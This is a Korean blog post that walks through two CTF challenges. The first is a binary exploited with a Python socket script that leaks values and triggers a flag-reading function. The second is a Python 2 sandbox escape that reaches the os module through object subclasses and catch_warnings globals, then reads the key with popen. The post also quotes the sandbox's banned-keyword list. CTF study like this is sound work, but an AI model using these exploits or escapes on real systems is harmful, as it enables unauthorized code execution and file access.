이 문제는 직접 flag.txt를 읽거나 shell을 따는 게 아니라 형식만 잘 맞춰준 뒤 flag.txt를 읽어주는 함수를 부르면 된다.

개인적으로 Exploitation 300점보다 수월하게 풀 수 있었다.


다음과 같은 바이너리가 주어진다.

saturn


메뉴에서 1byte를 읽고(이하 input이라 칭함), 0xF0과 AND를 해서(1byte중 상위 4bit만 남는다) 0xA0, 0xE0, 0x80 중 어디에 속하는지 정한 뒤 각 메뉴에 알맞는 함수를 부른다.

0xA0일 때 실행되는 0x804885c 함수는 input & 0x0F(1byte중 하위 4bit만 남는다)를 0x804a050가 가리키는 곳에 더한 뒤 이 메모리에 있는 4byte를 출력한다. 0x804a050이 가리키는 곳은 0x804a0c0이다.

즉 0x804a0c0 + 4*(input & 0x0F)를 출력해준다. 4를 곱하는 이유는 DWORD(4byte) 단위로 되어있기 때문이다.


0xE0일 때 실행되는 0x80488e8 함수는 input & 0x0F를 0x804a054가 가리키는 곳에 더한 뒤 그 메모리 값과, 새로 stdin에서 4byte를 읽은 뒤 비교한다. 값이 다르면 exit을 하고, 값이 같으면 0x804a0a0 + (input & 0x0F)를 1로 만들어준다.

0x804a054가 가리키는 곳은 0x804A0E0이다.


마지막으로 0x80일 때 실행되는 0x8048a01 함수는 0x80487ed 함수의 반환값이 0이면 프로그램을 종료하고, 그렇지 않으면 flag.txt를 읽어서 출력해준다.

즉 flag를 출력하게 하기 위해선 0x80487ed의 반환값을 0이 아닌 값으로 만들어줘야 한다.

이 함수를 살펴보자.

매우 간단하다. 0x804a0a0+4*0부터 0x804a0a0+4*7까지 값을 모두 곱한 뒤 반환한다.

이 값들은 초기값이 모두 0이라 아무 작업을 해주지 않으면 0을 반환할 것이고, flag.txt를 읽을 수 없게 된다.

아까 2번째 메뉴에서 실행됐던 0x80488e8 함수에서 0x804a0a0 + 4*(input & 0x0F)를 1로 만들어주니, 이를 이용해 0x804a0a0+4*0부터 0x804a0a0+4*7를 모두 1로 만들어줄 수 있을 것이다.

하지만 이를 위해서는 0x804a0e0 + 4*(input & 0x0F)값을 알아야할 필요가 있다(이 값과 비교해서 다르면 exit하므로). 이 때 0x80488e8 함수를 이용한다.

이 함수에서는 0x804a0c0 + 4*(input & 0x0F)를 출력해준다. 즉, "\xa8"을 넣게 되면 0x804a0e0값을 출력해준다. 이렇게 "\xaf"까지 보내서 값을 알아낸 뒤 "\xe0", ..., "\xe7"을 보내서 알아낸 값을 넣어주고 "\x80"을 호출하면 된다.

정리해보면 다음과 같다.


"\xa8\xa9\xaa\xab\xac\xad\xae\axf" = >반환값

"\xe0" + 반환값[0:4] + "\xe1" + 반환값[4:8] + ... + "\xe7" + 반환값[28:32]

"\x80"


다음은 최종 exploit code이다.

from socket import *
from time import sleep

s = socket(2,1)
s.connect(('54.85.89.65',8888))

s.recv(256)
t=''
for ai in xrange(8,16):
	t += chr(0xa0+ai)

s.send(t)
sleep(1)
data = s.recv(256)
print data.encode('hex')

t2 = ''
for ei in xrange(8):
	t2 += chr(0xe0+ei)+data[ei*4:ei*4+4]

s.send(t2)
print t2.encode('hex')
s.send('\x80')
sleep(.7)
print s.recv(128)

s.close()

다음과 같은 소스가 주어진다.

#!/usr/bin/env python 

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
    del __builtins__.__dict__[x]

while 1:
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data


banned를 빈 리스트([])로 덮어씌우려해도 banned가 금지어라 사용이 불가하고, 모든 builtin 함수나 객체 등이 지워진다.

따라서 object를 직접 사용할 수는 없지만 ().__class__.__bases__[0]를 통해 우회할 수 있다.

또 ().__class__.__bases__[0].__subclasses__()를 이용해 이 시점에서 객체화된 object의 모든 subclass를 접근할 수 있다.

이 subclass중 warning 모듈에 catch_warnings라는 class가 있다.

warning 모듈에서는 linecache를 import하고, linecache 모듈에서는 os를 import하므로, catch_warnings 안에 정의되어 있는 함수의 func_globals를 통해 linecache 함수에 접근할 수 있고, 곧 os 모듈에 접근할 수 있다.  catch_warnings의 함수는 /usr/lib/python2.7/warnings.py 소스를 확인해보면 __init__ 등이 있다.

cw = [x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0]
print cw.__init__.func_globals
# RESULT: {'filterwarnings': XX, ..., 'linecache': <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>, ...}
print dir(cw.__init__.func_globals['linecache'])
# RESULT: ['__all__', ..., 'os', 'sys', 'updatecache']
print cw.__init__.func_globals['linecache'].__dict__['os']
# RESULT: <module 'os' from '/usr/lib/python2.7/os.pyc'>

이를 이용해 디렉토리를 확인한 후 key를 읽으면 된다. 다만 os라는 글자는 막혀있으므로 "o"+"s"로 우회한다.


print([x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals["linecache"].__dict__["o"+"s"].listdir('.'))
# .. .. key ..
print([x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals["linecache"].__dict__["o"+"s"].popen('cat key','r').read(100))
# flag{definitely_not_intro_python}


※ list를 확인한 뒤 파일을 읽을 때는 object의 subclass중 file class를 이용할 수도 있다.


[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'file'][0]("./key").read()
# flag{definitely_not_intro_python}

+ Recent posts